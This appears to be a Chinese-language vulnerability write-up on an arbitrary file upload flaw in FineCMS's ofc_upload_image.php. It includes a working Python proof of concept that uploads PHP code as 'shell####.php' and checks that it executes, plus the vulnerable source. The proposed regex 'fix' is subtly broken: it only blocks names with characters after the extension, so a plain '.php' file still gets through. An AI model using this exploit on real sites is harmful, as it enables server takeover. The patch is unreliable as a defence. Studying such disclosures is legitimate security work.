catalog
1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考
1. 漏洞描述
Relevant Link:
/bugs/wooyun--0105251
2. 漏洞触发条件
0x1: POC
#!/usr/bin/env python # -*- coding: utf-8 -*- #__author__ = '1c3z' import urllib2 import randomfileName = "shell" + str(random.randrange(1000,9999)) + ".php" target = "/dayrui/libraries/Chart/ofc_upload_image.php" def uploadShell():url = target + "?name=" + fileNamereq = urllib2.Request(url, headers={"Content-Type": "application/oct"}) res = urllib2.urlopen(req, data="<?print(md5(0x22))?>")return res.read()def poc():res = uploadShell()if res.find("tmp-upload-images") == -1:print "Failed !"returnprint "upload Shell success"url = "/dayrui/libraries/tmp-upload-images/" + fileNamemd5 = urllib2.urlopen(url).read()if md5.find("e369853df766fa44e1ed0ff613f563bd") != -1:print "poc: " + url poc()
3. 漏洞影响范围 4. 漏洞代码分析
/dayrui/libraries/Chart/ofc_upload_image.php
$default_path = '../tmp-upload-images/'; if (!file_exists($default_path)) mkdir($default_path, 0777, true);$destination = $default_path . basename( $_GET[ 'name' ] ); echo 'Saving your image to: '. $destination;$jfh = fopen($destination, 'w') or die("can't open file");fwrite($jfh, $HTTP_RAW_POST_DATA);fclose($jfh);
程序未对上传文件进行任何后缀、内容的检测和过滤
5. 防御方法
/dayrui/libraries/Chart/ofc_upload_image.php
$default_path = '../tmp-upload-images/'; if (!file_exists($default_path)) mkdir($default_path, 0777, true);$destination = $default_path . basename( $_GET[ 'name' ] ); /* */if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)[^a-zA-Z0-9]+$#i', trim($destination))) {die("你指定的文件名被系统禁止！"); }/* */echo 'Saving your image to: '. $destination;$jfh = fopen($destination, 'w') or die("can't open file");fwrite($jfh, $HTTP_RAW_POST_DATA);fclose($jfh);
6. 攻防思考
Copyright (c) LittleHann All rights reserved
如果觉得《FIneCMS /dayrui/libraries/Chart/ofc_upload_image.php Arbitrary File Upload Vul》对你有帮助，请点赞、收藏，并留下你的观点哦！
